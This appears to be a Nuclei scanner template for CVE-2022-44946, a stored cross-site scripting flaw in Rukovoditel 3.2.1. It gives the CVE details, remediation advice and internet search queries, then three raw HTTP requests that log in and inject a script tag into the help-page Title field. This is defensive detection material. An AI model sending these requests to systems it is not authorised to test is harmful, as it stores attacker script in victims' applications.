Rukovoditel <= 3.2.1 - Cross-Site Scripting

id: CVE-2022-44946

info:
  name: Rukovoditel <= 3.2.1 - Cross-Site Scripting
  author: r3Y3r53
  severity: medium
  description: |
    Rukovoditel v3.2.1 was discovered to contain a stored cross-site scripting (XSS) vulnerability in the Add Page function at /index.php?module=help_pages/pages&entities_id=24. This vulnerability allows attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the Title field.
  remediation: |
    Upgrade Rukovoditel to a version higher than 3.2.1 or apply the vendor-provided patch to mitigate the XSS vulnerability.
  reference:
    - https://github.com/anhdq201/rukovoditel/issues/15
    - http://rukovoditel.com/
    - https://nvd.nist.gov/vuln/detail/CVE-2022-44946
    - http://rukovoditel.com
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 5.4
    cve-id: CVE-2022-44946
    cwe-id: CWE-79
    epss-score: 0.00091
    epss-percentile: 0.39059
    cpe: cpe:2.3:a:rukovoditel:rukovoditel:3.2.1:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 3
    vendor: rukovoditel
    product: rukovoditel
    shodan-query: http.favicon.hash:-1499940355
    fofa-query: icon_hash=-1499940355
  tags: cve,cve2022,rukovoditel,stored-xss,xss,authenticated

http:
  - raw:
      - |
        GET /index.php?module=users/login HTTP/1.1
        Host: {{Hostname}}
      - |
        POST /index.php?module=users/login&action=login HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        form_session_token={{nonce}}&username={{username}}&password={{password}}
      - |
        POST /index.php?module=help_pages/pages&action=save&entities_id=24&token={{nonce}} HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        form_session_token={{nonce}}&type=page&is_active=1&position=listing&name=%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&sort_order=&description=

    redirects: true
    max-redirects: 2
    matchers:
      - type: dsl
        dsl:
          - 'status_code_3 == 200'
          - 'contains(content_type_3, "text/html")'
          - 'contains(body_3, "<script>alert(document.domain)</script>")'
          - 'contains(body_3, "rukovoditel")'
        condition: and

    extractors:
      - type: regex
        name: nonce
        group: 1
        regex:
          - 'id="form_session_token" value="(.*)" type="hidden"'
        internal: true
# digest: 4a0a0047304502202fb6ff79856c1ea57a6a57a420a5f887950a47e185d01586c80143172e0a8dac022100bb958531272050b143cf7131ffd2bf7c93a1f74868013ce0157bd4dd655a085d:922c64590222798bb761d5b6d8e72950